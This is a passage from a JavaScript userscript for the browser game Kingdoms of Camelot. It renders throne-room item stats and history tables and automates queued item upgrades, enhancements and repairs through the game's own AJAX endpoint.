			if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
				level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
			}
			Current = p.base + ((level * level + level) * p.growth * 0.5);
			m += '||' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"];
		};
		sendChat("/a " + m);
	},
	paintEquipInfo: function (z, what) {
		var t = Tabs.Throne;
		var m = '';
		var color = "black";
		var TRcomp = {};
		var TRtoCompare2 = unsafeWindow.kocThroneItems
		if (document.getElementById('compElseTr').checked && document.getElementById('pbCompElseTR').value != "") {
			var TRtoCompare2 = document.getElementById('pbCompElseTR').value
			TRtoCompare2 = JSON.parse(TRtoCompare2);
		}
		if (typeof (TRtoCompare2[z]) == 'object') var y = TRtoCompare2[z];
		else return;
		var id = 0;
		var tier = 0;
		var Current = 0;
		var icon = '' + http + 'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/throne/icons/30/' + y.faction + '/' + y.faction + '_' + y.type + '_normal_1_' + y.quality + '.png';
		if (y["unique"] > 0)
			var icon = '' + http + 'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/throne/icons/30/' + y.faction + '/' + y.faction + '_' + y.type + '_unique_normal_' + y.unique + '.png';
		if (y.isEquipped) m = '<TABLE width=80% height=0% align="center" class=ThroneEQ  ondblclick="postInfo(' + z + ')" style="background: transparent url(' + icon + ') bottom right no-repeat; background-color:#FFFFE3;">';
		else m = '<TABLE width=80% height=0% align="center" class=Throne ondblclick="postInfo(' + z + ')" style="background: transparent url(' + icon + ') bottom right no-repeat; background-color:#FFFFE3;">';
		switch (parseInt(y["quality"])) {
		case 1:
			color = "grey";
			break;
		case 2:
			color = "white";
			break;
		case 3:
			color = "green";
			break;
		case 4:
			color = "blue";
			break;
		case 5:
			color = "purple";
			break;
		default:
			break;
		}
		m += '<TR><TD style="background-color:#D5C795"><FONT color=' + color + '><B>' + y.name + '</b></font></td>';
		m += '<TD><A onclick="Savlage(' + y.id + ')"><img src="data:image/png;base64,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"/></td></tr>';
		m += '<TR><TD style="background-color:#D5C795"><FONT color=' + color + '><B>[' + y.id + ']</b></font></td>';
		for (var O in y["effects"]) {
			var i = +(O.split("slot")[1]);
			id = y["effects"]["slot" + i]["id"];
			tier = parseInt(y["effects"]["slot" + i]["tier"]);
			level = y["level"];
			p = unsafeWindow.cm.thronestats.tiers[id][tier];
			while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
			if (!p) continue; // can't find stats for tier
			if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
				level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
			}
			Current = String(p.base + ((level * level + level) * p.growth * 0.5)).slice(0, 6);
			var quality = parseInt(y["quality"]);
			if (i <= quality) m += '<TR><TD><FONT color=black>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
			else m += '<TR><TD><FONT color=grey>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
		}
		m += '</table><table align="center"><tr><td><a onclick="doEquip(' + z + ')">Equip</a></td><td><a onclick="postInfo(' + z + ')">Post to chat</a></td><td><a onclick="fupgenh(' + z + ')">Upgrade/Enhance</a></td></tr></table>';
		document.getElementById('DIV' + what).innerHTML = m;
	},
	PaintHistory: function () {
		var t = Tabs.Throne;
		var popHistory = null;
		popHistory = new pbPopup('pbShowHistory', 0, 0, 1100, 500, true, function () {
			clearTimeout(1000);
		});
		var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbBars">';
		popHistory.getMainDiv().innerHTML = '</table></div>' + m;
		popHistory.getTopDiv().innerHTML = '<TD><B>Succesfull Upgrade/Enhance list:</td>';
		for (i = 0; i < t.log.length; i++) {
			var row = document.getElementById('pbBars').insertRow(0);
			row.vAlign = 'top';
			row.style.color = "black";
			row.insertCell(0).innerHTML = t.log[i].time;
			row.insertCell(1).innerHTML = t.log[i].name;
			row.insertCell(2).innerHTML = t.log[i].action;
			row.insertCell(3).innerHTML = t.log[i].tries;
			row.insertCell(4).innerHTML = t.log[i].good;
			row.insertCell(5).innerHTML = t.log[i].bad;
		}
		var row = document.getElementById('pbBars').insertRow(0);
		row.vAlign = 'top';
		row.style.color = "black";
		row.insertCell(0).innerHTML = "Time";
		row.insertCell(1).innerHTML = "Name";
		row.insertCell(2).innerHTML = "Action";
		row.insertCell(3).innerHTML = "Tries";
		row.insertCell(4).innerHTML = "Good Req.";
		row.insertCell(5).innerHTML = "Bad Req.";
		popHistory.show(true);
	},
	PaintSalvageHistory: function () {
		var t = Tabs.Throne;
		var popHistory = null;
		popHistory = new pbPopup('pbSalvageShowHistory', 0, 0, 1100, 500, true, function () {
			clearTimeout(1000);
		});
		var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbBars">';
		popHistory.getMainDiv().innerHTML = '</table></div>' + m;
		popHistory.getTopDiv().innerHTML = '<TD><B>Throne room Salvage list:</td>';
		for (i = 0; i < t.SalvageLog.length; i++) {
			var row = document.getElementById('pbBars').insertRow(0);
			row.vAlign = 'top';
			row.style.color = "black";
			row.insertCell(0).innerHTML = t.SalvageLog[i].time;
			row.insertCell(1).innerHTML = t.SalvageLog[i].stones;
			row.insertCell(2).innerHTML = t.SalvageLog[i].msg;
		}
		var row = document.getElementById('pbBars').insertRow(0);
		row.vAlign = 'top';
		row.style.color = "black";
		row.insertCell(0).innerHTML = "Time";
		row.insertCell(1).innerHTML = "Aetherstones";
		row.insertCell(2).innerHTML = "Action";
		popHistory.show(true);
	},
	addToQueue: function (id, action) {
		var t = Tabs.Throne;
		document.getElementById('ShowHoover').innerHTML = "";
		ThroneOptions.Items.push({
			id: id,
			action: action,
			name: unsafeWindow.kocThroneItems[id]["name"],
			qualityfrom: 0,
			qualityto: 0,
			levelfrom: 0,
			levelto: 0,
			cost: 0,
			active: false
		});
		saveThroneOptions();
		t.checkUpgradeInfo(false);
		t.PaintQueue();
		t.paintInfo();
		if (ThroneOptions.Active) document.getElementById('ShowStatus').innerHTML = "Starting Next Queue item..."
		else document.getElementById('ShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
	},
	checkUpgradeInfo: function (firstRun) {
		var t = Tabs.Throne;
		var countUpgrade = 0;
		var countEnhance = 0;
		var levelfrom = 0;
		var levelto = 0;
		var qualityfrom = 0;
		var qualityto = 0;
		if (ThroneOptions.Items.length == 0) return;
		for (k = 0; k < ThroneOptions.Items.length; k++) {
			countUpgrade = 0;
			countEnhance = 0;
			if (unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]] != undefined) {
				if (k > 0)
					for (l = 0; l < k; l++) {
						if (ThroneOptions.Items[l]["id"] == ThroneOptions.Items[k]["id"] && ThroneOptions.Items[l]["action"] == "Upgrade") {
							countUpgrade++;
						}
						if (ThroneOptions.Items[l]["id"] == ThroneOptions.Items[k]["id"] && ThroneOptions.Items[l]["action"] == "Enhance") {
							countEnhance++;
						}
					}
				if (ThroneOptions.Items[k]["action"] == "Upgrade") {
					ThroneOptions.Items[k]["levelfrom"] = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]["level"]) + countUpgrade;
					ThroneOptions.Items[k]["levelto"] = parseInt(ThroneOptions.Items[k]["levelfrom"]) + 1;
					ThroneOptions.Items[k]["qualityfrom"] = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]["quality"]) + countEnhance;
					var newlvl = ThroneOptions.Items[k]["levelto"];
					if (!unsafeWindow.cm.thronestats.upgrade[newlvl] && !firstRun) {
						ThroneOptions.Items.splice(k, 1);
						if (document.getElementById('ShowTries')) document.getElementById('ShowTries').innerHTML = "<font color=red>You can't upgrade higher than level " + Number(newlvl - 1) + "!</font>";
						return;
					}
				}
				if (ThroneOptions.Items[k]["action"] == "Enhance") {
					ThroneOptions.Items[k]["qualityfrom"] = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]["quality"]) + countEnhance;
					ThroneOptions.Items[k]["qualityto"] = parseInt(ThroneOptions.Items[k]["qualityfrom"]) + 1;
					ThroneOptions.Items[k]["levelfrom"] = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]["level"]) + countUpgrade;
					if (ThroneOptions.Items[k]["qualityto"] > 6 && !firstRun) {
						ThroneOptions.Items.splice(k, 1);
						if (document.getElementById('ShowTries')) document.getElementById('ShowTries').innerHTML = "<font color=red>You can't enhance higher than quality 6!</font>";
						return;
					}
				}
				if (ThroneOptions.Items[k]["action"] == "Enhance") var lvl = parseInt(ThroneOptions.Items[k]["qualityfrom"]) + 1;
				if (ThroneOptions.Items[k]["action"] == "Upgrade") var lvl = parseInt(ThroneOptions.Items[k]["levelfrom"]) + 1;
				costAction = ThroneOptions.Items[k]["action"].toLowerCase();
				if (unsafeWindow.cm.thronestats[costAction][lvl] != undefined) ThroneOptions.Items[k]["cost"] = unsafeWindow.cm.thronestats[costAction][lvl].Stones;
				else ThroneOptions.Items.splice(k, 1);
			} else ThroneOptions.Items.splice(k, 1);
		}
		saveThroneOptions();
	},
	PaintQueue: function () {
		var t = Tabs.Throne;
		if (document.getElementById('ShowQueueDiv')) {
			document.getElementById('ShowQueueDiv').innerHTML = '<TABLE id=ShowQueue class=pbStat align="center" width=90%></table>';
			for (k = (ThroneOptions.Items.length - 1); k >= 0; k--) {
				if (typeof (unsafeWindow.kocThroneItems[ThroneOptions.Items[k]["id"]]) == 'object') t._addTab(k, ThroneOptions.Items[k]["name"] + ' [' + ThroneOptions.Items[k]["id"] + ']', ThroneOptions.Items[k]["qualityfrom"], ThroneOptions.Items[k]["qualityto"], ThroneOptions.Items[k]["levelfrom"], ThroneOptions.Items[k]["levelto"], ThroneOptions.Items[k]["action"], ThroneOptions.Items[k]["active"], ThroneOptions.Items[k]["cost"]);
				else ThroneOptions.Items.splice(k, 1);
			}
			t._addTabHeader();
		}
	},
	doAction: function () {
		var t = Tabs.Throne;
		var now = new Date().getTime() / 1000.0;
		if (!ThroneOptions.Active) return;
		t.checkUpgradeInfo();
		if (Seed.queue_throne.end > unsafeWindow.unixtime()) {
			if (document.getElementById('ShowStatus')) document.getElementById('ShowStatus').innerHTML = "Waiting on repair";
			return;
		};
		if (Seed.queue_throne.end == undefined) {
			//need to update for doupgradesimple and ibrokeitems.
			if (ThroneOptions.ibrokeitems.length > 0) {
				setTimeout(t.doRepair, 5000);
				clearTimeout(t.setActionTimer);
				t.setActionTimer = setInterval(t.doAction, 10000);
				return;
			}
			if (ThroneOptions.Items.length == 0) {
				if (document.getElementById('ShowStatus')) document.getElementById('ShowStatus').innerHTML = "No items in queue!!";
				clearTimeout(t.setActionTimer);
				t.setActionTimer = setInterval(t.doAction, 60 * 1000);
				return;
			}
			if (unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].isBroken == true) {
				setTimeout(t.doRepair, 5000);
				clearTimeout(t.setActionTimer);
				t.setActionTimer = setInterval(t.doAction, 10000);
				return;
			}
			ThroneOptions.Items["0"]["active"] = true;
			t.PaintQueue();
			if (unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].isBroken == false) {
				if (document.getElementById('ShowStatus'))
					document.getElementById('ShowStatus').innerHTML = "Doing " + ThroneOptions.Items["0"]["action"] + "...";
				if (ThroneOptions.Items["0"]["action"] == "Upgrade") setTimeout(t.doUpgrade, 5000);
				if (ThroneOptions.Items["0"]["action"] == "Enhance") setTimeout(t.doEnhance, 5000);
				clearTimeout(t.setActionTimer);
				t.setActionTimer = setInterval(t.doAction, 10000);
			}
		};
	},
	doEnhance: function () {
		var t = Tabs.Throne;
		if (typeof (unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]]) == 'object') {
			var y = unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]];
		} else return;
		var cityid = 0;
		var cidarray = [];
		for (var k in Cities.byID) {
			if (Seed.resources["city" + k]["rec5"][0] > parseInt((ThroneOptions.Items["0"]["cost"] + 50000)) && Seed.resources["city" + k]["rec5"][0] > parseInt(50000)) //added more than 50k to stop spending gems by accident
			{
				cidarray.push(k);
			}
		}
		if (cidarray.length > 0)
			cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
		if (cityid == 0) {
			document.getElementById('ShowStatus').innerHTML = "Not enough aetherstone to enhance!!";
			return;
		}
		Seed.resources['city' + cityid].rec5[0] = parseInt(Seed.resources['city' + cityid].rec5[0] - parseInt(ThroneOptions.Items["0"]["cost"]));
		var buffItem = 0;
		if (ThroneOptions.UseTokens) {
			if (ThroneOptions.UseMO) {
				if (parseInt(unsafeWindow.seed.items['i20004']) > 0) //mystic orb
					buffItem = 20004;
				if (parseInt(unsafeWindow.seed.items['i20003']) > 0) //lesser mystic orb
					buffItem = 20003;
			}
			if (parseInt(unsafeWindow.seed.items['i20002']) > 0) //protection stone
				buffItem = 20002;
			if (parseInt(unsafeWindow.seed.items['i20001']) > 0) //lesser protection stone
				buffItem = 20001;
			if (buffItem)
				unsafeWindow.cm.InventoryView.removeItemFromInventory(buffItem);
		};
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'upgradeQuality';
		params.throneRoomItemId = ThroneOptions.Items["0"]["id"];
		params.buffItemId = buffItem;
		params.payment = "aetherstone";
		params.cityId = cityid;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.updateSeed)
					unsafeWindow.update_seed(rslt.updateSeed);
				if (rslt.ok) {
					if (rslt.gems > 0) {
						document.getElementById('ShowStatus').innerHTML = 'Upgrader accidentally spent gems!  Turning upgrader off!!';
						ThroneOptions.Active = false;
						saveThroneOptions();
					}
					Seed.resources["city" + cityid]["rec5"][0] -= rslt.aetherstones;
					y.level = rslt.item.level;
					y.quality = rslt.item.quality
					y.status = rslt.item.status;
					if (rslt.success) {
						y.name = y.createName();
						t.addToLog(ThroneOptions.Items["0"]["id"], ThroneOptions.Items["0"]["action"], ThroneOptions.Tries, ThroneOptions.Good, ThroneOptions.Bad);
						ThroneOptions.Tries = 0;
						ThroneOptions.Good = 0;
						ThroneOptions.Bad = 0;
						saveThroneOptions();
						document.getElementById('ShowTries').innerHTML = "Tries: --";
						ThroneOptions.Items.splice(0, 1);
					} else {
						if (!params.buffItemId) {
							y.isBroken = true;
							y.brokenType = "quality";
							y.name = y.createName();
						}
						ThroneOptions.Tries++;
						document.getElementById('ShowStatus').innerHTML = 'Enhance failed :( <br />Item: ' + unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].name + "<br />Waiting for repair...";
						document.getElementById('ShowTries').innerHTML = "Tries: " + ThroneOptions.Tries + "<br />Good requests: " + ThroneOptions.Good + "   Bad requests: " + ThroneOptions.Bad;
					}
					unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					t.checkUpgradeInfo(false);
					t.PaintQueue();
					ThroneOptions.Good++;
					saveThroneOptions();
				} else {
					unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].isBroken = true;
					ThroneOptions.Bad++;
					saveThroneOptions();
				}
				return;
			},
			onFailure: function () {
				return;
			},
		});
	},
	doUpgrade: function () {
		var t = Tabs.Throne;
		if (typeof (unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]]) == 'object') {
			var y = unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]];
		} else return;
		var cityid = 0;
		var cidarray = [];
		for (var k in Cities.byID) { //added more than 50k to stop spending gems by accident
			if (Seed.resources["city" + k]["rec5"][0] > parseInt((ThroneOptions.Items["0"]["cost"] + 50000)) && Seed.resources["city" + k]["rec5"][0] > parseInt(50000)) {
				cidarray.push(k);
			}
		}
		if (cidarray.length > 0)
			cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
		if (cityid == 0) {
			if (document.getElementById('ShowStatus'))
				document.getElementById('ShowStatus').innerHTML = "Not enough aetherstone to enhance!!";
			return;
		}
		Seed.resources['city' + cityid].rec5[0] = parseInt(Seed.resources['city' + cityid].rec5[0] - parseInt(ThroneOptions.Items["0"]["cost"]));
		var buffItem = 0;
		if (ThroneOptions.UseTokens) {
			if (ThroneOptions.UseLT) {
				if (parseInt(unsafeWindow.seed.items['i20006']) > 0) //lucky token
					buffItem = 20006;
			}
			if (parseInt(unsafeWindow.seed.items['i20005']) > 0) //lesser lucky token
				buffItem = 20005;
			if (buffItem)
				unsafeWindow.cm.InventoryView.removeItemFromInventory(buffItem);
		};
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'upgradeLevel';
		params.throneRoomItemId = ThroneOptions.Items["0"]["id"];
		params.buffItemId = buffItem;
		params.payment = "aetherstone";
		params.cityId = cityid;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					if (rslt.updateSeed)
						unsafeWindow.update_seed(rslt.updateSeed);
					if (rslt.gems > 0) {
						document.getElementById('ShowStatus').innerHTML = 'Upgrader accidentally spent gems!  Turning upgrader off!!';
						ThroneOptions.Active = false;
						saveThroneOptions();
					}
					Seed.resources["city" + cityid]["rec5"][0] -= rslt.aetherstones;
					if (rslt.success) {
						y.level = rslt.item.level;
						y.quality = rslt.item.quality;
						y.name = y.createName();
						t.addToLog(ThroneOptions.Items["0"]["id"], ThroneOptions.Items["0"]["action"], ThroneOptions.Tries, ThroneOptions.Good, ThroneOptions.Bad);
						ThroneOptions.Tries = 0;
						ThroneOptions.Good = 0;
						ThroneOptions.Bad = 0;
						ThroneOptions.Items.splice(0, 1);
						saveThroneOptions();
						document.getElementById('ShowTries').innerHTML = "Tries: --";
					} else {
						if (!params.buffItemId) {
							y.isBroken = true;
							y.brokenType = "level";
							y.status = rslt.item.status;
							y.name = y.createName();
						}
						ThroneOptions.Tries++;
						saveThroneOptions();
						if (document.getElementById('ShowStatus'))
							document.getElementById('ShowStatus').innerHTML = 'Upgrade failed :( <br />Item: ' + unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].name + "<br />Waiting for repair...";
						if (document.getElementById('ShowTries'))
							document.getElementById('ShowTries').innerHTML = "Tries: " + ThroneOptions.Tries + "<br />Good requests: " + ThroneOptions.Good + "   Bad requests: " + ThroneOptions.Bad;
					}
					unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					t.checkUpgradeInfo(false);
					t.PaintQueue();
					ThroneOptions.Good++;
					saveThroneOptions();
				} else {
					unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].isBroken = true;
					ThroneOptions.Bad++;
					saveThroneOptions();
				}
				return;
			},
			onFailure: function () {
				return;
			},
		});
	},
	doUpgradeAll: function () {
		var t = Tabs.Throne;
		var y = unsafeWindow.kocThroneItems;
		for (i in y) {
			logit('i is ' + i);
			if (!y[i].isBroken) {
				logit('and is not broken ' + i);
				t.doUpgradesimple(i);
				setTimeout(t.doUpgradeAll, 2000);
				break;
			};
		}
	},
	doUpgradesimple: function (item) {
		var t = Tabs.Throne;
		var cityid = 0;
		var cidarray = [];
		for (var k in Cities.byID) { //added more than 50k to stop spending gems by accident
			if (Seed.resources["city" + k]["rec5"][0] > parseInt(50000)) {
				cidarray.push(k);
			}
		}
		if (cidarray.length > 0)
			cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
		if (cityid == 0) {
			return;
		}
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'upgradeLevel';
		params.throneRoomItemId = item;
		params.buffItemId = 0;
		params.payment = "aetherstone";
		params.cityId = cityid;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					if (rslt.updateSeed)
						unsafeWindow.update_seed(rslt.updateSeed);
					var y = unsafeWindow.kocThroneItems[params.throneRoomItemId];
					if (rslt.gems > 0) {
